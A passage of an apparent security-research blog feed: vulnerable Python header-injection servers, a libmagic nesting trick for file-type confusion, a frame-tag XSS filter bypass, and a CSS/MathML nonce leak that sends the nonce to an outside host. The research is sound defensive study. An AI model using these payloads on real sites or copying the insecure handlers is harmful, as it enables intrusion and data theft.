  <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Refresh"><code class="language-plaintext highlighter-rouge">Refresh</code></a>: Same as <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/meta#setting_a_page_redirect"><code class="language-plaintext highlighter-rouge">&lt;meta&gt;</code> tag redirect</a>. Maybe can be chained with <code class="language-plaintext highlighter-rouge">Referrer-Policy</code></li>
  <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cache-Control"><code class="language-plaintext highlighter-rouge">Cache-Control</code></a> and other cache-related headers, such as <code class="language-plaintext highlighter-rouge">X-Cache: HIT</code>: Maybe useful for CRLF injection to cache poisoning, cache deception, or even browser cache related trick (Disk cache, bfcache)</li>
  <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Connection"><code class="language-plaintext highlighter-rouge">Connection: Keep-Alive</code></a>: Make the HTTP connection persistent. Maybe useful for chaining with SSRF. Example: <a href="https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/#stage-2-carriage-returnline-feed-crlf-injection">Oracle E-Business Suite Pre-Auth RCE Chain - CVE-2025-61882</a></li>
  <li><code class="language-plaintext highlighter-rouge">X-Correlation</code> (i.e.: <code class="language-plaintext highlighter-rouge">X-Request-ID</code>) headers: If injected, may be load balancers or reverse proxies would handle the injected header. Example: <a href="https://speakerdeck.com/fransrosen/x-correlation-injections-or-how-to-break-server-side-contexts">X-Correlation-Injections (or How to break server-side context)</a></li>
</ul>

<h3 id="appendix-1-example-web-applications-source-code">Appendix 1: Example Web Application’s Source Code</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">http.server</span> <span class="kn">import</span> <span class="n">SimpleHTTPRequestHandler</span><span class="p">,</span> <span class="n">HTTPServer</span>
<span class="kn">from</span> <span class="nn">http</span> <span class="kn">import</span> <span class="n">HTTPStatus</span>
<span class="kn">from</span> <span class="nn">urllib.parse</span> <span class="kn">import</span> <span class="n">urlparse</span><span class="p">,</span> <span class="n">parse_qs</span>

<span class="n">STATIC_FILE_ROUTES</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">'/static/markdown/example.md'</span><span class="p">:</span> <span class="p">{</span>
        <span class="s">'content'</span><span class="p">:</span> <span class="sa">b</span><span class="s">'# Heading 1</span><span class="se">\n</span><span class="s">## Heading 2</span><span class="se">\n</span><span class="s">### Heading 3</span><span class="se">\n</span><span class="s">**Bold text** and *italic text*</span><span class="se">\n</span><span class="s">- Unordered list item 1</span><span class="se">\n</span><span class="s">- Unordered list item 2</span><span class="se">\n</span><span class="s">  - Nested item</span><span class="se">\n</span><span class="s">1. Ordered list item 1</span><span class="se">\n</span><span class="s">2. Ordered list item 2'</span><span class="p">,</span>
        <span class="s">'mime'</span><span class="p">:</span> <span class="s">'text/markdown'</span>
    <span class="p">},</span>
    <span class="s">'/static/css/main.css'</span><span class="p">:</span> <span class="p">{</span>
        <span class="s">'content'</span><span class="p">:</span> <span class="sa">b</span><span class="s">'body {</span><span class="se">\n</span><span class="s">font-family: Arial, sans-serif;</span><span class="se">\n</span><span class="s">line-height: 1.6;</span><span class="se">\n</span><span class="s">background-color: #f4f4f4;</span><span class="se">\n</span><span class="s">color: #333;</span><span class="se">\n</span><span class="s">}'</span><span class="p">,</span>
        <span class="s">'mime'</span><span class="p">:</span> <span class="s">'text/css'</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">class</span> <span class="nc">CustomHandler</span><span class="p">(</span><span class="n">SimpleHTTPRequestHandler</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">do_GET</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">parsedPath</span> <span class="o">=</span> <span class="n">urlparse</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">path</span><span class="p">)</span>
        <span class="n">query</span> <span class="o">=</span> <span class="n">parse_qs</span><span class="p">(</span><span class="n">parsedPath</span><span class="p">.</span><span class="n">query</span><span class="p">)</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">route</span> <span class="p">:</span><span class="o">=</span> <span class="n">STATIC_FILE_ROUTES</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">parsedPath</span><span class="p">.</span><span class="n">path</span><span class="p">))</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">send_response</span><span class="p">(</span><span class="n">HTTPStatus</span><span class="p">.</span><span class="n">NOT_FOUND</span><span class="p">)</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">end_headers</span><span class="p">()</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">wfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">b</span><span class="s">'404 Not Found'</span><span class="p">)</span>
            <span class="k">return</span>
        
        <span class="n">contentType</span> <span class="o">=</span> <span class="n">query</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'type'</span><span class="p">,</span> <span class="p">[</span> <span class="n">route</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'mime'</span><span class="p">,</span> <span class="s">'text/plain'</span><span class="p">)</span> <span class="p">])[</span><span class="mi">0</span><span class="p">]</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_response</span><span class="p">(</span><span class="n">HTTPStatus</span><span class="p">.</span><span class="n">OK</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_header</span><span class="p">(</span><span class="s">'Content-Security-Policy'</span><span class="p">,</span> <span class="s">'default-src </span><span class="se">\'</span><span class="s">none</span><span class="se">\'</span><span class="s">; script-src </span><span class="se">\'</span><span class="s">self</span><span class="se">\'</span><span class="s">;'</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_header</span><span class="p">(</span><span class="s">'Content-Type'</span><span class="p">,</span> <span class="n">contentType</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">end_headers</span><span class="p">()</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">wfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">route</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'content'</span><span class="p">,</span> <span class="sa">b</span><span class="s">''</span><span class="p">))</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="n">server_address</span> <span class="o">=</span> <span class="p">(</span><span class="s">''</span><span class="p">,</span> <span class="mi">8000</span><span class="p">)</span>
    <span class="n">httpd</span> <span class="o">=</span> <span class="n">HTTPServer</span><span class="p">(</span><span class="n">server_address</span><span class="p">,</span> <span class="n">CustomHandler</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">'[*] Serving HTTP server on port 8000...'</span><span class="p">)</span>
    <span class="n">httpd</span><span class="p">.</span><span class="n">serve_forever</span><span class="p">()</span>
</code></pre></div></div>

<h3 id="appendix-2-code-snippet-for-controlling-content-length-response-headers-value">Appendix 2: Code Snippet for Controlling Content-Length Response Header’s Value</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">CustomHandler</span><span class="p">(</span><span class="n">SimpleHTTPRequestHandler</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">do_GET</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="p">[...]</span>
        <span class="n">contentType</span> <span class="o">=</span> <span class="n">query</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'type'</span><span class="p">,</span> <span class="p">[</span> <span class="n">route</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'mime'</span><span class="p">,</span> <span class="s">'text/plain'</span><span class="p">)</span> <span class="p">])[</span><span class="mi">0</span><span class="p">]</span>
        <span class="n">contentLength</span> <span class="o">=</span> <span class="n">query</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'length'</span><span class="p">,</span> <span class="p">[</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">route</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'content'</span><span class="p">,</span> <span class="s">''</span><span class="p">)))</span> <span class="p">])[</span><span class="mi">0</span><span class="p">].</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\r</span><span class="s">'</span><span class="p">,</span> <span class="s">''</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_response</span><span class="p">(</span><span class="n">HTTPStatus</span><span class="p">.</span><span class="n">OK</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_header</span><span class="p">(</span><span class="s">'Content-Security-Policy'</span><span class="p">,</span> <span class="s">'default-src </span><span class="se">\'</span><span class="s">none</span><span class="se">\'</span><span class="s">; script-src </span><span class="se">\'</span><span class="s">self</span><span class="se">\'</span><span class="s">;'</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_header</span><span class="p">(</span><span class="s">'Content-Length'</span><span class="p">,</span> <span class="n">contentLength</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_header</span><span class="p">(</span><span class="s">'Content-Type'</span><span class="p">,</span> <span class="n">contentType</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">end_headers</span><span class="p">()</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">wfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">route</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'content'</span><span class="p">,</span> <span class="sa">b</span><span class="s">''</span><span class="p">))</span>
</code></pre></div></div>

<h3 id="appendix-3-code-snippet-for-transfer-encoding-trick-in-http11">Appendix 3: Code Snippet for Transfer-Encoding Trick in HTTP/1.1</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">CustomHandler</span><span class="p">(</span><span class="n">SimpleHTTPRequestHandler</span><span class="p">):</span>
    <span class="n">protocol_version</span> <span class="o">=</span> <span class="s">'HTTP/1.1'</span>

    <span class="k">def</span> <span class="nf">do_GET</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="p">[...]</span>
        <span class="n">contentType</span> <span class="o">=</span> <span class="n">query</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'type'</span><span class="p">,</span> <span class="p">[</span> <span class="n">route</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'mime'</span><span class="p">,</span> <span class="s">'text/plain'</span><span class="p">)</span> <span class="p">])[</span><span class="mi">0</span><span class="p">]</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_response</span><span class="p">(</span><span class="n">HTTPStatus</span><span class="p">.</span><span class="n">OK</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_header</span><span class="p">(</span><span class="s">'Content-Security-Policy'</span><span class="p">,</span> <span class="s">'default-src </span><span class="se">\'</span><span class="s">none</span><span class="se">\'</span><span class="s">; script-src </span><span class="se">\'</span><span class="s">self</span><span class="se">\'</span><span class="s">;'</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_header</span><span class="p">(</span><span class="s">'Content-Length'</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">route</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'content'</span><span class="p">,</span> <span class="s">''</span><span class="p">))))</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_header</span><span class="p">(</span><span class="s">'Content-Type'</span><span class="p">,</span> <span class="n">contentType</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">end_headers</span><span class="p">()</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">wfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">route</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'content'</span><span class="p">,</span> <span class="sa">b</span><span class="s">''</span><span class="p">))</span>
</code></pre></div></div>

<h3 id="appendix-4-code-snippet-for-fixed-content-length-response-header-value">Appendix 4: Code Snippet for Fixed Content-Length Response Header Value</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">CustomHandler</span><span class="p">(</span><span class="n">SimpleHTTPRequestHandler</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">do_GET</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="p">[...]</span>
        <span class="n">contentType</span> <span class="o">=</span> <span class="n">query</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'type'</span><span class="p">,</span> <span class="p">[</span> <span class="n">route</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'mime'</span><span class="p">,</span> <span class="s">'text/plain'</span><span class="p">)</span> <span class="p">])[</span><span class="mi">0</span><span class="p">]</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_response</span><span class="p">(</span><span class="n">HTTPStatus</span><span class="p">.</span><span class="n">OK</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_header</span><span class="p">(</span><span class="s">'Content-Security-Policy'</span><span class="p">,</span> <span class="s">'default-src </span><span class="se">\'</span><span class="s">none</span><span class="se">\'</span><span class="s">; script-src </span><span class="se">\'</span><span class="s">self</span><span class="se">\'</span><span class="s">;'</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_header</span><span class="p">(</span><span class="s">'Content-Length'</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">route</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'content'</span><span class="p">,</span> <span class="s">''</span><span class="p">))))</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">send_header</span><span class="p">(</span><span class="s">'Content-Type'</span><span class="p">,</span> <span class="n">contentType</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">end_headers</span><span class="p">()</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">wfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">route</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'content'</span><span class="p">,</span> <span class="sa">b</span><span class="s">''</span><span class="p">))</span>
</code></pre></div></div>
]]></content:encoded>
    </item>
    
    <item>
      <title>Abusing libmagic﹕ Inconsistencies That Lead to Type Confusion</title>
      <link>https://lab.ctbb.show/research/libmagic-inconsistencies-that-lead-to-type-confusion</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/libmagic-inconsistencies-that-lead-to-type-confusion</guid>
      <pubDate>Mon, 06 Oct 2025 00:00:00 +0000</pubDate>
      <author>Hamid Sj</author>
      <description>Exploring libmagic’s inconsistencies in JSON detection and type confusion. A research note on file uploads, misclassification, and security risks.</description>
      <content:encoded><![CDATA[<p>I was re-checking Doyensec’s CSPT → file-upload writeup and noticed their example payloads weren’t behaving the same for me: uploads that used to slip through now got stopped. That made me dig into how <code class="language-plaintext highlighter-rouge">file</code>/libmagic actually decides a file is JSON. Turns out <code class="language-plaintext highlighter-rouge">file</code> only looks at the start of a file and has a hard stop for JSON nesting. In <code class="language-plaintext highlighter-rouge">src/is_json.c</code> there’s this check:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Avoid recursion */</span>
<span class="k">if</span> <span class="p">(</span><span class="n">lvl</span> <span class="o">&gt;</span> <span class="mi">500</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">DPRINTF</span><span class="p">(</span><span class="s">"Too many levels"</span><span class="p">,</span> <span class="n">uc</span><span class="p">,</span> <span class="o">*</span><span class="n">ucp</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So if a JSON is nested past ~500 levels, libmagic gives up calling it JSON and treats it like plain text. I wrote a tiny generator to test this — a 10-level JSON shows up as <code class="language-plaintext highlighter-rouge">JSON data</code>, a 501-level file shows up as <code class="language-plaintext highlighter-rouge">ASCII text</code>. If I then put valid PDF bytes (<code class="language-plaintext highlighter-rouge">%PDF-1.x ... %%EOF</code>) near the front of that deep JSON, <code class="language-plaintext highlighter-rouge">file</code> starts calling it a <strong>PDF</strong>. That’s the trick: make the detector think it’s a PDF so the upload follows PDF-processing codepaths (renderers, converters, indexers) that might expose XSS or other sinks.</p>

<p>Generator I used (save as <code class="language-plaintext highlighter-rouge">nested-json.py</code>):</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">import</span> <span class="nn">json</span><span class="p">,</span> <span class="n">argparse</span>

<span class="k">def</span> <span class="nf">generate_nested_json</span><span class="p">(</span><span class="n">depth</span><span class="p">,</span> <span class="n">width</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">depth</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">return</span> <span class="s">"terminal_value"</span>
    <span class="n">result</span> <span class="o">=</span> <span class="p">{}</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">width</span><span class="p">):</span>
        <span class="n">key</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"level</span><span class="si">{</span><span class="n">depth</span><span class="si">}</span><span class="s">"</span> <span class="k">if</span> <span class="n">width</span> <span class="o">==</span> <span class="mi">1</span> <span class="k">else</span> <span class="sa">f</span><span class="s">"level</span><span class="si">{</span><span class="n">depth</span><span class="si">}</span><span class="s">_</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">"</span>
        <span class="n">result</span><span class="p">[</span><span class="n">key</span><span class="p">]</span> <span class="o">=</span> <span class="n">generate_nested_json</span><span class="p">(</span><span class="n">depth</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">width</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">result</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">argparse</span><span class="p">.</span><span class="n">ArgumentParser</span><span class="p">()</span>
    <span class="n">p</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"depth"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">int</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"-w"</span><span class="p">,</span><span class="s">"--width"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">int</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"-o"</span><span class="p">,</span><span class="s">"--output"</span><span class="p">)</span>
    <span class="n">args</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">parse_args</span><span class="p">()</span>
    <span class="n">out</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">output</span> <span class="ow">or</span> <span class="sa">f</span><span class="s">"nested_</span><span class="si">{</span><span class="n">args</span><span class="p">.</span><span class="n">depth</span><span class="si">}</span><span class="s">.json"</span>
    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">out</span><span class="p">,</span><span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">json</span><span class="p">.</span><span class="n">dump</span><span class="p">(</span><span class="n">generate_nested_json</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">depth</span><span class="p">,</span> <span class="n">args</span><span class="p">.</span><span class="n">width</span><span class="p">),</span> <span class="n">f</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"wrote"</span><span class="p">,</span> <span class="n">out</span><span class="p">)</span>
</code></pre></div></div>

<p>Example head of the file I tested (501-level JSON with a PDF header embedded):</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"_pdf_content"</span><span class="p">:</span><span class="w"> </span><span class="s2">"%PDF-1.4</span><span class="se">\n</span><span class="s2">1 0 obj</span><span class="se">\n</span><span class="s2">&lt;&lt;</span><span class="se">\n</span><span class="s2">/Type /Catalog</span><span class="se">\n</span><span class="s2">/Pages 2 0 R</span><span class="se">\n</span><span class="s2">&gt;&gt;</span><span class="se">\n</span><span class="s2">endobj</span><span class="se">\n</span><span class="s2">...%%EOF"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"level501"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"level500"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"level499"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="err">...</span><span class="w">
</span></code></pre></div></div>

<p>A quick cheat-sheet of common stacks and their usual nesting limits:</p>

<table>
  <thead>
    <tr>
      <th>Language</th>
      <th style="text-align: right">Common library</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>C / C++</td>
      <td style="text-align: right">libmagic / <code class="language-plaintext highlighter-rouge">file</code> — detector guard ≈ 500</td>
    </tr>
    <tr>
      <td>Java</td>
      <td style="text-align: right">Jackson — ~1000 (version-dependent)</td>
    </tr>
    <tr>
      <td>.NET / C#</td>
      <td style="text-align: right">System.Text.Json / Newtonsoft — ~64</td>
    </tr>
    <tr>
      <td>Python</td>
      <td style="text-align: right">built-in <code class="language-plaintext highlighter-rouge">json</code> — low by default</td>
    </tr>
    <tr>
      <td>Go</td>
      <td style="text-align: right"><code class="language-plaintext highlighter-rouge">encoding/json</code> — very large (stack)</td>
    </tr>
    <tr>
      <td>Rust</td>
      <td style="text-align: right"><code class="language-plaintext highlighter-rouge">serde_json</code> — ~128 practical limit</td>
    </tr>
    <tr>
      <td>Node.js</td>
      <td style="text-align: right"><code class="language-plaintext highlighter-rouge">JSON.parse</code> (V8) — thousands (engine)</td>
    </tr>
  </tbody>
</table>

<p>Different ecosystems rely on different file-type checkers — some are just wrappers around <code class="language-plaintext highlighter-rouge">libmagic</code> and inherit its quirks, while others use their own standalone implementations with separate limits:</p>

<p><strong>Libmagic wrappers (inherit <code class="language-plaintext highlighter-rouge">file</code> behavior):</strong></p>

<ul>
  <li>C / C++ (native)</li>
  <li>Perl</li>
  <li>Ruby</li>
  <li>PHP (<code class="language-plaintext highlighter-rouge">finfo</code>)</li>
  <li>Python (<code class="language-plaintext highlighter-rouge">python-magic</code>)</li>
  <li>Go (<code class="language-plaintext highlighter-rouge">magicmime</code>)</li>
</ul>

<p><strong>Non-Libmagic wrappers (standalone implementations):</strong></p>

<ul>
  <li>JavaScript (Node.js)</li>
  <li>Java (Apache Tika)</li>
  <li>.NET / C#</li>
  <li>Rust</li>
</ul>

<p>One more practical note: <code class="language-plaintext highlighter-rouge">file</code> also gets shaky on very large files — in my tests files &gt; ~10 MB were unreliable. Since many uploads have size limits, making giant files isn’t always possible. That’s why the deep-nesting trick is useful: it’s small-ish in bytes but large in structure, so it often bypasses type-sniffers without hitting size limits.</p>

<p>Note on versions and limits —
The recursion guard (lvl &gt; 500) shown above is part of the upstream file/libmagic source (src/is_json.c). The current upstream release is libmagic 5.46, which includes the behavior and fixes discussed here.</p>

<p>Most language bindings and wrappers (like python-magic, PHP’s finfo, or Go’s magicmime) are built directly on top of libmagic and typically track the latest upstream version, so they inherit these changes automatically once updated.</p>

<p>However, the standalone file command bundled with operating systems often lags behind. For example, Ubuntu and macOS still ship file 5.41 in their default installations, where the JSON detector stops at around 10 nesting levels instead of ~500. In other words, the trick behaves differently depending on whether you’re testing against the system file binary or a newer libmagic build.</p>

<p>In short: wrappers tend to stay current with upstream (5.46+), while OS-level file tools may still reflect older limits from 5.41.</p>

<p>Links:</p>

<ul>
  <li>Doyensec writeup: <a href="https://blog.doyensec.com/2025/01/09/cspt-file-upload.html">https://blog.doyensec.com/2025/01/09/cspt-file-upload.html</a></li>
  <li><code class="language-plaintext highlighter-rouge">file</code> repo: <a href="https://github.com/file/file">https://github.com/file/file</a></li>
  <li><code class="language-plaintext highlighter-rouge">file</code> magic DB: <a href="https://github.com/file/file/tree/master/magic/Magdir">https://github.com/file/file/tree/master/magic/Magdir</a></li>
  <li><code class="language-plaintext highlighter-rouge">is_json.c</code>: <a href="https://github.com/file/file/blob/master/src/is_json.c">https://github.com/file/file/blob/master/src/is_json.c</a></li>
</ul>

]]></content:encoded>
    </item>
    
    <item>
      <title>HTML facts﹕ &lt;​in​put ​ty​pe=​&quot;i​mag​e&quot;​&gt; a​nd a &lt;​f​ram​e​&gt; XSS bypass</title>
      <link>https://lab.ctbb.show/research/html-facts-input-image-frame-xss</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/html-facts-input-image-frame-xss</guid>
      <pubDate>Sun, 05 Oct 2025 00:00:00 +0000</pubDate>
      <author>Jorian Woltjer</author>
      <description>Two HTML fun facts: &lt;input type=&apos;image&apos;&gt; sending mouse-coordinates &amp; using the &lt;frame&gt; tag for XSS filter bypasses</description>
      <content:encoded><![CDATA[<p>Some HTML facts I learned today:</p>

<ol>
  <li>First one’s just weird likely not useful but <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/image"><code class="language-plaintext highlighter-rouge">&lt;input type="image"&gt;</code></a> is a thing apparently. It acts as a submit button and sends <code class="language-plaintext highlighter-rouge">x</code>/<code class="language-plaintext highlighter-rouge">y</code> coordinates of your mouse as extra parameters. who the heck uses this.</li>
  <li>Another that may be useful for XSS filter bypasses, as it’s an unusual tag name, which a blocklist may miss. If your input starts <em>before the body</em> you can use the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/frame"><code class="language-plaintext highlighter-rouge">&lt;frame&gt;</code></a> element inside of a <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/frameset"><code class="language-plaintext highlighter-rouge">&lt;frameset&gt;</code></a>:</li>
</ol>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;frameset&gt;</span>
  <span class="nt">&lt;frame</span> <span class="na">src=</span><span class="s">"javascript:alert(origin)"</span><span class="nt">&gt;</span>
<span class="nt">&lt;/frameset&gt;</span>
</code></pre></div></div>
]]></content:encoded>
    </item>
    
    <item>
      <title>Leaking CSP nonces with CSS &amp; MathML</title>
      <link>https://lab.ctbb.show/research/leaking-csp-nonces-css-mathml</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/leaking-csp-nonces-css-mathml</guid>
      <pubDate>Sun, 05 Oct 2025 00:00:00 +0000</pubDate>
      <author>Jorian Woltjer</author>
      <description>By dangling a &lt;math&gt; tag in HTML, leaking nonce attributes via CSS is possible again!</description>
      <content:encoded><![CDATA[<p>Nowadays, browsers prevent CSS Injection from being able to leak <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Global_attributes/nonce"><code class="language-plaintext highlighter-rouge">nonce=</code></a> attributes, <em>they can’t be matched</em>. Either via selectors or the new <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/attr"><code class="language-plaintext highlighter-rouge">attr()</code></a> function.</p>

<blockquote>
  <p><strong>Tip</strong>: In case you’re testing this, made sure your testing setup has a CSP header active with the correct nonce. Only then will it hide the nonce attribute, otherwise you might get false positives!</p>
</blockquote>

<p>The trick: if you can dangle a <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Reference/Element/math"><code class="language-plaintext highlighter-rouge">&lt;math&gt;</code></a> tag at the end of your payload, and a script/style with a nonce comes right after it (before auto-closing the math tag), in the MathML namespace this protection isn’t active!</p>

<p>That means you can match it with selectors like <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors#attrvalue_6"><code class="language-plaintext highlighter-rouge">*=</code></a>, or use the <code class="language-plaintext highlighter-rouge">attr()</code> trick just like any other attribute:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Security-Policy: script-src 'nonce-NONCE'

<span class="nt">&lt;style&gt;</span>
  <span class="k">@import</span> <span class="s2">'https://r.jtw.sh./poc.css?body=*[nonce]+%7B%0D%0A++background%3A+image-set%28attr%28nonce%29%29%3B%0D%0A%7D'</span><span class="p">;</span>
<span class="nt">&lt;/style&gt;</span>
<span class="nt">&lt;math&gt;</span>
  <span class="nt">&lt;script </span><span class="na">nonce=</span><span class="s">"NONCE"</span><span class="nt">&gt;</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Hello, world!</span><span class="dl">"</span><span class="p">);</span>
  <span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<hr />

<p>I don’t think this is very useful in the real world yet because dangling markup really only happens on <em>server-side</em> HTML injection, while updating a payload to include our newly leaked nonce requires a <em>client-side</em> injection. Maybe someone has an attack scenario ¯\_(ツ)_/¯</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Exploiting Web Worker XSS with Blobs</title>
